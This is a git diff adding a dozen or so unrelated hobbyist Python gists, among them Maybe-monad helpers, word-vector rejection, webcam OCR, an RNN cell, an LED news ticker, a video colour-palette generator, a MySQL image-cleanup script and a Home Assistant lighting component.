+        try:
+          x = computation()
+          return Just(x)
+        except:
+          return Nothing()
+
+class Just(Maybe):
+    def __init__(self, x):
+        assert x != None
+        self.value = list(x)[0] if isinstance(x, Iterator) else x
+
+    def from_just(self):
+        return self.value
+
+    def __eq__(self, other):
+        return isinstance(other, Just) and other.value == self.value
+
+    def __repr__(self):
+        return "Just(" + str(self.value) + ")"
+
+class Nothing(Maybe):
+    def __init__(self):
+        self.value = None
+
+    def __eq__(self, other):
+        return isinstance(other, Nothing)
+
+    def __repr__(self):
+        return "Nothing"
+
+
+""" definitely fragile helpers """
+
+def filter_just(xs):
+    if isinstance(xs, list):
+        f = filter(lambda x: x.is_just(), xs)
+        return list(map(lambda x: x.from_just(), f))
+    if isinstance(xs, map):
+        f = list(filter(lambda x: x.is_just(), list(xs)))
+        return list(map(lambda x: x.from_just(), f))
+    else:
+        return []
+
+def as_nonempty_list(xs):
+    tmp = xs
+    if not isinstance(xs, list):
+        tmp = list(xs)
+    return Nothing() if len(tmp) == 0 else Just(tmp)
+
+def filter_nonempty_justs(xs):
+    return as_nonempty_list(filter_just(xs))
+
+def map_maybe(fn, maybe):
+    """
+    You can also do:
+        Just(map(lambda x: x+3, Just(4)))
+    which is equal to:
+        map_maybe(lambda x: x+3, Just(4))
+    but the latter will catch any errors:
+        def error(): raise Exception()
+        print(map_maybe(error, Just(4))) # Nothing
+    """
+    return Maybe.bind(lambda: fn(maybe.from_just())) if maybe.is_just() else Nothing()
\ No newline at end of file
diff --git a/hard-gists/4c47dc94cc6054fe1398/._snippet.py b/hard-gists/4c47dc94cc6054fe1398/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c47dc94cc6054fe1398/._snippet.py differ
diff --git a/hard-gists/4c47dc94cc6054fe1398/snippet.py b/hard-gists/4c47dc94cc6054fe1398/snippet.py
new file mode 100644
index 00000000..5d583054
--- /dev/null
+++ b/hard-gists/4c47dc94cc6054fe1398/snippet.py
@@ -0,0 +1,23 @@
+import numpy as np
+from gensim import matutils
+def normalize(v):
+  '''normalize' a vector, in the traditional linear algebra sense.'''
+  norm=np.linalg.norm(v)
+  if norm==0:
+    return v
+  return v/norm
+
+def reject(A,B):
+  '''Create a 'projection', and subract it from the original vector'''
+  project = np.linalg.linalg.dot(A, normalize(B)) * normalize(B)
+  return A - project
+
+def reject_word(A, B):
+  '''returns most_similar for word A, while rejecting words with meanings closer to B.
+  Seems to work better than just giving in negative words.
+  '''
+  r = reject(model[A], model[B])
+  dists = np.linalg.linalg.dot(model.syn0, r)
+  best  = matutils.argsort(dists, topn = 500, reverse = True)
+  result = [(model.index2word[sim], float(dists[sim])) for sim in best]
+  return result
\ No newline at end of file
diff --git a/hard-gists/4c528bb794449160e9f9a303b7b2dc23/._snippet.py b/hard-gists/4c528bb794449160e9f9a303b7b2dc23/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c528bb794449160e9f9a303b7b2dc23/._snippet.py differ
diff --git a/hard-gists/4c528bb794449160e9f9a303b7b2dc23/snippet.py b/hard-gists/4c528bb794449160e9f9a303b7b2dc23/snippet.py
new file mode 100644
index 00000000..e4ec4bef
--- /dev/null
+++ b/hard-gists/4c528bb794449160e9f9a303b7b2dc23/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+
+import pytesseract
+import Image
+import cv2
+
+# some func
+def click_prt_pix_color(event, x, y, flags, param):
+    if event == cv2.EVENT_LBUTTONDOWN:
+        print('pixel(%d, %d) color is %s' % (x, y, img[y, x]))
+
+
+# some vars
+# /dev/video1
+cap = cv2.VideoCapture(1)
+
+while True:
+    ret, img = cap.read()
+    
+    # skip if no image
+    if img is None:
+        break
+    
+    # restrain image to value area [startY:endY, startX:endX]
+    img = img[215:254, 340:400]
+    
+    # blur image
+    img = cv2.blur(img,(1,1))
+    
+    # show image
+    cv2.imshow('i', img)
+    cv2.setMouseCallback('i', click_prt_pix_color)
+    
+    # OCR decode with tesseract
+    index_str = pytesseract.image_to_string(Image.fromarray(img), config='outputbase digits')
+    
+    # check index and use it...
+    if index_str.isdigit():
+        index = int(index_str)
+        print('OCR result is %d' % index)
+
+    # end of main loop if 'esc' press
+    key = cv2.waitKey(100)
+    if key & 0x0f == 0x0b:
+        break
+
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/._snippet.py b/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/._snippet.py differ
diff --git a/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/snippet.py b/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/snippet.py
new file mode 100644
index 00000000..191c5633
--- /dev/null
+++ b/hard-gists/4c59bb823a2c4cc886ae51deae9b23d5/snippet.py
@@ -0,0 +1,119 @@
+# -*- coding: utf-8 -*-
+
+# Copyright (C) 2017 by Akira TAMAMORI
+
+# This program is free software; you can redistribute it and/or modify it under
+# the terms of the GNU General Public License as published by the Free Software
+# Foundation, either version 3 of the License, or (at your option) any later
+# version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+# details.
+#
+# You should have received a copy of the GNU General Public License along with
+# this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import tensorflow as tf
+
+from tensorflow.python.ops.rnn_cell import RNNCell
+
+
+class CFNCell(RNNCell):
+    """ Chaos-Free Network (CFN).
+
+       Thomas Laurent and James von Brecht,
+       "A recurrent neural network without chaos,"
+       https://arxiv.org/abs/1612.06212
+    """
+
+    def __init__(self, num_units, input_size=None):
+        self._num_units = num_units
+        self._input_size = num_units if input_size is None else input_size
+
+    @property
+    def input_size(self):
+        return self._input_size
+
+    @property
+    def output_size(self):
+        return self._num_units
+
+    @property
+    def state_size(self):
+        return self._num_units
+
+    def __call__(self, inputs, state, scope=None):
+        """Call CFN."""
+
+        with tf.variable_scope(scope or type(self).__name__):
+            with tf.variable_scope("ForgetGate"):
+                theta = tf.sigmoid(
+                    linear([inputs, state], self._num_units, True))
+            with tf.variable_scope("InputGate"):
+                eta = tf.sigmoid(
+                    linear([inputs, state], self._num_units, True))
+            with tf.variable_scope("Input"):
+                Wx = linear([inputs], self._num_units, False)
+            h = theta * tf.tanh(state) + eta * tf.tanh(Wx)
+
+        # hidden output and state
+        return h, h
+
+
+def linear(args, output_size, bias, bias_start=0.0, scope=None):
+    """Linear map: sum_i(args[i] * W[i]), where W[i] is a variable.
+    Args:
+      args: a 2D Tensor or a list of 2D, batch x n, Tensors.
+      output_size: int, second dimension of W[i].
+      bias: boolean, whether to add a bias term or not.
+      bias_start: starting value to initialize the bias; 0 by default.
+      scope: VariableScope for the created subgraph; defaults to "Linear".
+    Returns:
+      A 2D Tensor with shape [batch x output_size] equal to
+      sum_i(args[i] * W[i]), where W[i]s are newly created matrices.
+    Raises:
+      ValueError: if some of the arguments has unspecified or wrong shape.
+    """
+    if args is None or (isinstance(args, (list, tuple)) and not args):
+        raise ValueError("`args` must be specified")
+    if not isinstance(args, (list, tuple)):
+        args = [args]
+
+    # Calculate the total size of arguments on dimension 1.
+    total_arg_size = 0
+    shapes = [a.get_shape().as_list() for a in args]
+    for shape in shapes:
+        if len(shape) != 2:
+            raise ValueError(
+                "Linear is expecting 2D arguments: %s" % str(shapes))
+        if not shape[1]:
+            raise ValueError(
+                "Linear expects shape[1] of arguments: %s" % str(shapes))
+        else:
+            total_arg_size += shape[1]
+
+    # Now the computation.
+    with tf.variable_scope(scope or "Linear"):
+        matrix = tf.get_variable("Matrix", [total_arg_size, output_size])
+        if len(args) == 1:
+            res = tf.matmul(args[0], matrix)
+        else:
+            res = tf.matmul(tf.concat(1, args), matrix)
+        if not bias:
+            return res
+        bias_term = tf.get_variable(
+            "Bias", [output_size],
+            initializer=tf.constant_initializer(bias_start))
+    return res + bias_term
diff --git a/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/._snippet.py b/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/._snippet.py differ
diff --git a/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/snippet.py b/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/snippet.py
new file mode 100644
index 00000000..f362a6c3
--- /dev/null
+++ b/hard-gists/4c5dc5b2b267b43bb4c399ca9115c3f8/snippet.py
@@ -0,0 +1,13 @@
+from functools import lru_cache
+@lru_cache
+def fibonacci(n):
+  
+  if n == 1:
+    return 1
+  elif n==2:
+    return 1
+  elif n> 2:
+    return fibonacci(n-2)  + fibonacci(n-1)
+
+for i in range(1, 1000):
+  print(i, " : ", fibonacci(i))
\ No newline at end of file
diff --git a/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/._snippet.py b/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/._snippet.py differ
diff --git a/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/snippet.py b/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/snippet.py
new file mode 100644
index 00000000..721e0627
--- /dev/null
+++ b/hard-gists/4ca0c68878c6d978d067da4a36bcc71d/snippet.py
@@ -0,0 +1,100 @@
+# for chubbyemu video at https://www.youtube.com/watch?v=omMVAtGGr_0
+# THIS SCRIPT USES THE LIBRARY AT:
+# https://github.com/hzeller/rpi-rgb-led-matrix
+# BE SURE TO CLONE IT AND READ THE README, as highlighted in the video :)
+
+
+import os, time, threading, random
+import feedparser
+from PIL import Image, ImageFont, ImageDraw
+from random import shuffle
+
+BITLY_ACCESS_TOKEN="BITLY_ACCESS_TOKEN"
+items=[]
+displayItems=[]
+feeds=[
+    #enter all news feeds you want here
+    "http://www.fda.gov/AboutFDA/ContactFDA/StayInformed/RSSFeeds/PressReleases/rss.xml",
+    "http://www.fiercepharma.com/feed",
+    "http://www.fiercebiotech.com/feed",
+    ]
+
+def colorRed():
+    return (255, 0, 0)
+
+def colorGreen():
+    return (0, 255, 0)
+
+def colorBlue():
+    return (0, 0, 255)
+
+def colorRandom():
+    return (random.randint(0,255), random.randint(0,255), random.randint(0,255))
+
+def populateItems():
+    #first clear out everything
+    del items[:]
+    del displayItems[:]
+
+    #delete all the image files
+    os.system("find . -name \*.ppm -delete")
+    for url in feeds:
+        feed=feedparser.parse(url)
+        posts=feed["items"]
+        for post in posts:
+            items.append(post)
+    shuffle(items)
+
+def createLinks():
+    try:
+        populateItems()
+        for idx, item in enumerate(items):
+            writeImage(unicode(item["title"]), idx)
+    except ValueError:
+        print("Bummer :( I couldn't make you 'dem links :(")
+    finally:
+        print("\nWill get more news next half hour!\n\n")
+
+def writeImage(url, count):
+    bitIndex=0
+    link, headLine="", url[:]
+    def randCol(index = -1):
+        if index % 3 == 0:
+            return colorRed()
+        elif index % 3 == 1:
+            return colorGreen()
+        elif index % 3 == 2:
+            return colorBlue()
+        else:
+            return colorRandom()
+    text = ((headLine, randCol(count)), (link, colorRandom()))
+    font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 16)
+    all_text = ""
+    for text_color_pair in text:
+        t = text_color_pair[0]
+        all_text = all_text + t
+    width, ignore = font.getsize(all_text)
+    im = Image.new("RGB", (width + 30, 16), "black")
+    draw = ImageDraw.Draw(im)
+    x = 0;
+    for text_color_pair in text:
+        t = text_color_pair[0]
+        c = text_color_pair[1]
+        draw.text((x, 0), t, c, font=font)
+        x = x + font.getsize(t)[0]
+    filename=str(count)+".ppm"
+    displayItems.append(filename)
+    im.save(filename)
+
+def run():
+    print("News Fetched at {}\n".format(time.ctime()))
+    createLinks()
+    threading.Timer(len(items) * 60, run).start()
+    showOnLEDDisplay()
+
+def showOnLEDDisplay():
+    for disp in displayItems[:60]:
+        os.system("sudo ./led-matrix -r 16 -c 3 -t 60 -m 25 -D 1 "+disp)
+
+if __name__ == '__main__':
+    run()
\ No newline at end of file
diff --git a/hard-gists/4cd70e9515ab722b2bce/._snippet.py b/hard-gists/4cd70e9515ab722b2bce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4cd70e9515ab722b2bce/._snippet.py differ
diff --git a/hard-gists/4cd70e9515ab722b2bce/snippet.py b/hard-gists/4cd70e9515ab722b2bce/snippet.py
new file mode 100644
index 00000000..f3682a74
--- /dev/null
+++ b/hard-gists/4cd70e9515ab722b2bce/snippet.py
@@ -0,0 +1,253 @@
+import random
+import subprocess
+from collections import namedtuple
+from datetime import timedelta
+from math import sqrt
+import argparse
+from os.path import join, exists
+from os import getcwd, mkdir
+from ffprobe import FFProbe
+from pytube import YouTube
+from PIL import Image, ImageDraw
+from glob import glob
+from os import unlink
+
+try:
+    import Image
+except ImportError:
+    from PIL import Image
+
+Point = namedtuple('Point', ('coords', 'n', 'ct'))
+Cluster = namedtuple('Cluster', ('points', 'center', 'n'))
+
+def get_points(img):
+    points = []
+    w, h = img.size
+    for count, color in img.getcolors(w * h):
+        points.append(Point(color, 3, count))
+    return points
+
+rtoh = lambda rgb: '#%s' % ''.join(('%02x' % p for p in rgb))
+
+
+def colorz(filename, n=3):
+    img = Image.open(filename)
+    img.thumbnail((100, 100))
+    w, h = img.size
+    points = get_points(img)
+    clusters = kmeans(points, n, 1)
+    rgbs = [map(int, c.center.coords) for c in clusters]
+    return map(rtoh, rgbs)
+
+
+def euclidean(p1, p2):
+    return sqrt(sum([
+        (p1.coords[i] - p2.coords[i]) ** 2 for i in range(p1.n)
+    ]))
+
+
+def calculate_center(points, n):
+    vals = [0.0 for i in range(n)]
+    plen = 0
+    for p in points:
+        plen += p.ct
+        for i in range(n):
+            vals[i] += (p.coords[i] * p.ct)
+    return Point([(v / plen) for v in vals], n, 1)
+
+
+def kmeans(points, k, min_diff):
+    clusters = [Cluster([p], p, p.n) for p in random.sample(points, k)]
+
+    while 1:
+
+        plists = [[] for i in range(k)]
+
+        for p in points:
+            smallest_distance = float('Inf')
+            for i in range(k):
+                distance = euclidean(p, clusters[i].center)
+                if distance < smallest_distance:
+                    smallest_distance = distance
+                    idx = i
+            plists[idx].append(p)
+
+        diff = 0
+        for i in range(k):
+            old = clusters[i]
+            center = calculate_center(plists[i], old.n)
+            new = Cluster(plists[i], center, old.n)
+            clusters[i] = new
+            diff = max(diff, euclidean(old.center, new.center))
+
+        if diff < min_diff:
+            break
+
+    return clusters
+
+
+def download_video(video_url, output):
+    youtube = YouTube(video_url)
+    video = youtube.filter('mp4')[0]
+    return video.download(output)
+
+
+def get_duration(video_path):
+    metadata = FFProbe(video_path)
+    for stream in metadata.streams:
+        if stream.isVideo():
+            return timedelta(seconds=float(stream.duration))
+
+
+def extract_frames(video_path, output_path, num_of_frames, ffmpeg_path=None):
+    print 'Extracting frames...'
+    duration = get_duration(video_path)
+    rval = 1 / (duration / num_of_frames).total_seconds()
+    ffmpeg = ffmpeg_path or '/usr/local/bin/ffmpeg'
+    command = '%(ffmpeg)s -i \'%(video)s\' -r %(rval)s -f image2 %(output)s'
+    cmd_args = {'ffmpeg': ffmpeg, 'video': video_path, 'rval': rval,
+                'output': output_path}
+    command = command % cmd_args
+    command = command + '/frame_%05d.jpg'
+
+    response = subprocess.call(
+        command, shell=True, stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE)
+
+    if response != 0:
+        return False
+
+    return True
+
+def timedelta_as_str(td):
+    s = td.total_seconds()
+    hours, remainder = divmod(s, 3600)
+    minutes, seconds = divmod(remainder, 60)
+    return '%02d:%02d:%02d' % (hours, minutes, seconds)
+
+
+num_of_colors_per_frame = 1
+
+def poster_renderer(colors, workbench, output_filename='palette-poster.html'):
+    '''
+    colors = [[color1, color2, color3], [color1, color2, color3]]
+    '''
+    TEMPLATE = '''
+    <!doctype html>
+    <html class="no-js" lang="">
+      <head>
+        <meta charset="utf-8">
+        <meta http-equiv="x-ua-compatible" content="ie=edge">
+        <title></title>
+        <meta name="description" content="">
+        <meta name="viewport" content="width=device-width, initial-scale=1">
+        <link rel="apple-touch-icon" href="apple-touch-icon.png">
+        <style>
+        body   { padding: 50px; width: 700px; margin: 0 auto; background: white; }
+        table  { width: 100%%; border-spacing: 0 }
+        td     { height: %spx }
+        h1, h2 { margin: 30px 0 10px 0; text-align: center; }
+        h1     { font-size: 60px; }
+        h2     { font-size: 22px; }
+        </style>
+
+      </head>
+      <body>%s</body>
+    </html>
+    '''
+    table = '<table>'
+    for idx in range(len(colors)):
+        print 'Frame: %s/%s' %(idx, args.nof)
+        table += '<tr>'
+        color_row = colors[idx]
+        for color in color_row:
+            table += '<td style="background: %s;"></td>' % color
+        table += '</tr>\n'
+    table += '</table>'
+
+    if args.title:
+        table += '<h1>%s</h1>' % args.title
+
+    if args.subtitle:
+        table += '<h2>%s</h2>' % args.subtitle
+
+    output = TEMPLATE % (args.rh, table)
+
+    with open(join(workbench, output_filename), 'w') as fp:
+        fp.write(output)
+
+
+def image_renderer(colors, workbench, rh=1, output_filename='pallette.png'):
+    im = Image.new("RGB", (500, len(colors) * rh))
+    draw = ImageDraw.Draw(im)
+    for idx in xrange(len(colors)):
+        box = [0, idx * rh, 500, (idx * rh) + (rh - 1)]
+        draw.rectangle(box, colors[idx][0])
+    im.save(join(workbench, output_filename))
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='Convert Youtube video to a color chart.')
+
+
+    parser.add_argument(
+        'video_url', type=str, nargs='?',
+         help='URL of Youtube video that will be converted')
+
+    parser.add_argument(
+        'workbench_name', type=str, nargs='?',
+        help='A foldername that will be created to download '
+             'video and extract frames.')
+
+    parser.add_argument('--number-of-frames', dest='nof', action='store', 
+                        help='Number of frames that will be extracted from video.',
+                        default=800, type=int)
+
+    parser.add_argument('--colors-per-frame', dest='cpf', action='store', 
+                        help='Number of colors that will be extracted from every frame.',
+                        default=1, type=int)
+
+    parser.add_argument('--row-height', dest='rh', action='store',
+                        help='Color row height.', default=1, type=int)
+
+    parser.add_argument('--title', dest='title', action='store', nargs='?',
+                        help='Title for video.', type=str)
+
+    parser.add_argument('--subtitle', dest='subtitle', action='store', nargs='?',
+                        help='Subtitle for video.', type=str)
+
+    args = parser.parse_args()
+
+    print args.workbench_name
+
+    video_url = args.video_url
+    workbench = join(getcwd(), args.workbench_name)
+
+    if not exists(workbench):
+        mkdir(workbench)
+
+    video_path = join(workbench, 'video.mp4')
+
+    if not exists(video_path):
+        print 'Downloading video...'
+        download_video(video_url, video_path)
+
+    frame_paths = glob(join(workbench, 'frame_*.jpg'))
+
+    if len(frame_paths) < args.nof:
+        extract_frames(video_path, workbench, args.nof)
+
+    frame_paths = glob(join(workbench, 'frame_*.jpg'))
+
+    colors = []
+    for idx in range(args.nof):
+        print 'Extracting colors from frame: %s' % idx
+        frame_path = frame_paths[idx]
+        colors.append(colorz(frame_path, n=args.cpf))
+
+    poster_renderer(colors, workbench)
+    image_renderer(colors, workbench)
+
+    for frame_path in frame_paths:
+        unlink(frame_path)
diff --git a/hard-gists/4cfe3995013225d1d119/._snippet.py b/hard-gists/4cfe3995013225d1d119/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4cfe3995013225d1d119/._snippet.py differ
diff --git a/hard-gists/4cfe3995013225d1d119/snippet.py b/hard-gists/4cfe3995013225d1d119/snippet.py
new file mode 100644
index 00000000..7eafd806
--- /dev/null
+++ b/hard-gists/4cfe3995013225d1d119/snippet.py
@@ -0,0 +1,50 @@
+#
+# A plugin to setup capture interfaces
+# The plugin is off by default. To enable it, add "interfacesetup.enabled=1" to broctl.cfg.
+#
+
+import BroControl.plugin
+
+class InterfaceSetupPlugin(BroControl.plugin.Plugin):
+    def __init__(self):
+        super(InterfaceSetupPlugin, self).__init__(apiversion=1)
+
+    def name(self):
+        return "InterfaceSetupPlugin"
+
+    def prefix(self):
+        return "interfacesetup"
+
+    def pluginVersion(self):
+        return 1
+
+    def init(self):
+        if self.getOption("enabled") == "0":
+            return False
+
+        return True
+
+    def options(self):
+        return [("mtu", "int", "9710", "Interface MTU"),
+                ("enabled", "string", "0", "Set to enable plugin")]
+
+    def cmd_start_pre(self, nodes):
+        if not nodes:
+            return
+        
+        mtu = self.getOption("mtu")
+        self.message("InterfaceSetupPlugin: mtu=%s" % (mtu))
+
+        host_nodes = {}
+        for n in nodes:
+            if n.interface:
+                host_nodes[(n.host, n.interface)] = n
+
+        cmds = []
+        for n in host_nodes.values():
+            cmd = "/sbin/ifconfig %s up mtu %s" % (n.interface, mtu)
+            cmds.append((n, cmd))
+            cmd = "/sbin/ethtool -K %s gro off lro off rx off tx off gso off" % (n.interface)
+            cmds.append((n, cmd))
+
+        self.executeParallel(cmds)
diff --git a/hard-gists/4d0f862d981d9bfc6b4f/._snippet.py b/hard-gists/4d0f862d981d9bfc6b4f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4d0f862d981d9bfc6b4f/._snippet.py differ
diff --git a/hard-gists/4d0f862d981d9bfc6b4f/snippet.py b/hard-gists/4d0f862d981d9bfc6b4f/snippet.py
new file mode 100644
index 00000000..4f1f317d
--- /dev/null
+++ b/hard-gists/4d0f862d981d9bfc6b4f/snippet.py
@@ -0,0 +1,41 @@
+import mysql.connector
+uuids = []
+class MySQLCursorDict(mysql.connector.cursor.MySQLCursor):
+        def _row_to_python(self, rowdata, desc=None):
+                row = super(MySQLCursorDict, self)._row_to_python(rowdata, desc)
+                if row:
+                        return dict(zip(self.column_names, row))
+                return None
+
+cnx = mysql.connector.connect(host="localhost", user="glance", passwd="", db="glance")
+cur1 = cnx.cursor(cursor_class=MySQLCursorDict)
+cur2 = cnx.cursor(cursor_class=MySQLCursorDict)
+cur3 = cnx.cursor(cursor_class=MySQLCursorDict)
+cur4 = cnx.cursor(cursor_class=MySQLCursorDict)
+cur5 = cnx.cursor(cursor_class=MySQLCursorDict)
+cur = cnx.cursor(cursor_class=MySQLCursorDict)
+cur.execute("SELECT * FROM  `images` WHERE  `deleted_at` IS NOT NULL")
+for row in cur.fetchall():
+        uuids.append( row['id']);
+
+cur5.execute("SET FOREIGN_KEY_CHECKS = 0;")
+
+for uuid in uuids:
+        cur.execute("show tables");
+        for table_name in cur.fetchall():
+                if (table_name['Tables_in_glance'] != 'services'):
+                        cur2.execute("SELECT column_name FROM information_schema.columns WHERE TABLE_SCHEMA='glance' and table_name='%s';" % table_name['Tables_in_glance'])
+                        for column_name in cur2.fetchall():
+                                cur3.execute("SELECT * from `%s` WHERE `%s` like '%s';" % (table_name['Tables_in_glance'], column_name['column_name'], uuid))
+                                lastq = cur3.fetchall()
+                                if(len(lastq) > 0):
+                                        print "%s => %s => %s" % (table_name['Tables_in_glance'], column_name['column_name'], uuid)
+                                        #print "DELETE FROM `%s` WHERE `%s` like '%s';" % (table_name['Tables_in_glance'], column_name['column_name'], uuid)
+                                        cur4.execute("DELETE FROM `%s` WHERE `%s` like '%s';" % (table_name['Tables_in_glance'], column_name['column_name'], uuid))
+        cnx.commit()
+
+        print uuid
+        print "___________________________________"
+
+cur5.execute("SET FOREIGN_KEY_CHECKS = 1;")
+cnx.close()
diff --git a/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/._snippet.py b/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/._snippet.py differ
diff --git a/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/snippet.py b/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/snippet.py
new file mode 100644
index 00000000..708cef2f
--- /dev/null
+++ b/hard-gists/4d3a1d7c49de414942b87d7f6ab1461c/snippet.py
@@ -0,0 +1,125 @@
+# Color Temperature & Brightness calculations adapted from
+#   https://github.com/KristopherKubicki/smartapp-circadian-daylight
+
+# Sorry if this code sucks, I've never used Python before ;)
+
+
+import logging
+import datetime
+import math
+
+from homeassistant.components import light, sun
+from homeassistant.util import dt as dt_util
+
+DEPENDENCIES = ['sun', 'light']
+DOMAIN = 'circadianlights'
+SERVICE_CHANGE_ACTIVE_LIGHTS = 'change_lights'
+CONF_LIGHTS = 'lights'
+CONF_LIGHTS_TEMP = 'lights_temp'
+CONF_BRIGHTNESS = 'lights'
+
+
+def setup(hass, config):
+    logger = logging.getLogger(__name__)
+
+    def calculatecolor():
+        sunrise = sun.next_rising(hass)
+        sunset = sun.next_setting(hass)
+        currenttime = dt_util.as_local(datetime.datetime.today())
+        midday = sunrise + datetime.timedelta(seconds=(sunset - sunrise).total_seconds() / 2)
+        brightness = 1
+        colortemp = 2000
+
+        if sunrise > sunset:
+            if currenttime < midday:
+                colortemp = 2000 + ((currenttime - sunrise) / (midday - sunrise) * 3800)
+                brightness = ((currenttime - sunrise) / (midday - sunrise))
+            else:
+                colortemp = 6500 - ((currenttime - midday).total_seconds() / sunset.timestamp() * 3800)
+                brightness = 1 - ((currenttime - midday).total_seconds() / sunset.timestamp())
+        return ColorInfo(colortemp, max(brightness, 1))
+
+    def getlights(key):
+        light_ids = []
+        for light_id in config[DOMAIN].get(key):
+            if hass.states.get(light_id) is None:
+                logger.error('Light id %s could not be found in state machine', light_id)
+                return []
+            if light.is_on(hass, light_id):
+                light_ids.append(light_id)
+        return light_ids
+
+    def setlightcolor():
+        color = calculatecolor()
+        lights = getlights(CONF_LIGHTS)
+        lights_with_temp = getlights(CONF_LIGHTS_TEMP)
+        logger.info('Temperature: %s mireds, RGB: %s,%s,%s, Brightness: %s',
+                    color.temperature, color.brightness,color.r,color.g,color.b)
+        for light_id in lights:
+            logger.info('setting light %s', light_id)
+            light.turn_on(hass, light_id, transition=5,
+                          rgb_color=[color.r, color.g, color.b], brightness=color.brightness)
+
+        for light_id in lights_with_temp:
+            logger.info('setting light %s', light_id)
+            light.turn_on(hass, light_id, transition=5,
+                          color_temp=color.temperature, brightness=color.brightness)
+
+    hass.services.register(DOMAIN, SERVICE_CHANGE_ACTIVE_LIGHTS, lambda call: setlightcolor())
+    return True
+
+
+class ColorInfo:
+
+    def __init__(self, tempkelvin, brightness):
+        self.temperature = min(499, max(154, math.floor(1000000 / tempkelvin)))
+        self.brightness = min(brightness * 255, 255)
+        temp = tempkelvin / 100
+        if temp < 10:
+            temp = 10
+        if temp > 400:
+            temp = 400
+        self.r = self.get_r_part(temp)
+        self.g = self.get_g_part(temp)
+        self.b = self.get_b_part(temp)
+
+    @staticmethod
+    def get_r_part(ct):
+        if ct <= 66:
+            r = 255
+        else:
+            r = 329.698727446 * ((ct - 60) ** -0.1332047592)
+        if r < 0:
+            r = 0
+        if r > 255:
+            r = 255
+        return math.floor(r)
+
+    @staticmethod
+    def get_g_part(ct):
+        if ct <= 66:
+            g = 99.4708025861 * math.log(ct) - 161.1195681661
+        else:
+            g = 288.1221695283 * ((ct - 60) ** -0.0755148492)
+
+        if g < 0:
+            g = 0
+        if g > 255:
+            g = 255
+        return math.floor(g)
+
+    @staticmethod
+    def get_b_part(ct):
+        if ct >= 66:
+            b = 255
+        elif ct <= 19:
+            b = 0
+
+        else:
+            b = 138.5177312231 * math.log(ct - 10) - 305.0447927307
+        if b < 0:
+            b = 0
+        if b > 255:
+            b = 255
+        return math.floor(b)
+
diff --git a/hard-gists/4d7afed1dadb457bba977bd3757c1e29/._snippet.py b/hard-gists/4d7afed1dadb457bba977bd3757c1e29/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4d7afed1dadb457bba977bd3757c1e29/._snippet.py differ
diff --git a/hard-gists/4d7afed1dadb457bba977bd3757c1e29/snippet.py b/hard-gists/4d7afed1dadb457bba977bd3757c1e29/snippet.py
new file mode 100644
index 00000000..ee6dd793
--- /dev/null
+++ b/hard-gists/4d7afed1dadb457bba977bd3757c1e29/snippet.py
@@ -0,0 +1,96 @@
+#!/usr/bin/env python3
+
+# MIT License
+# 
+# Copyright (c) 2016 Jelle Besseling
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
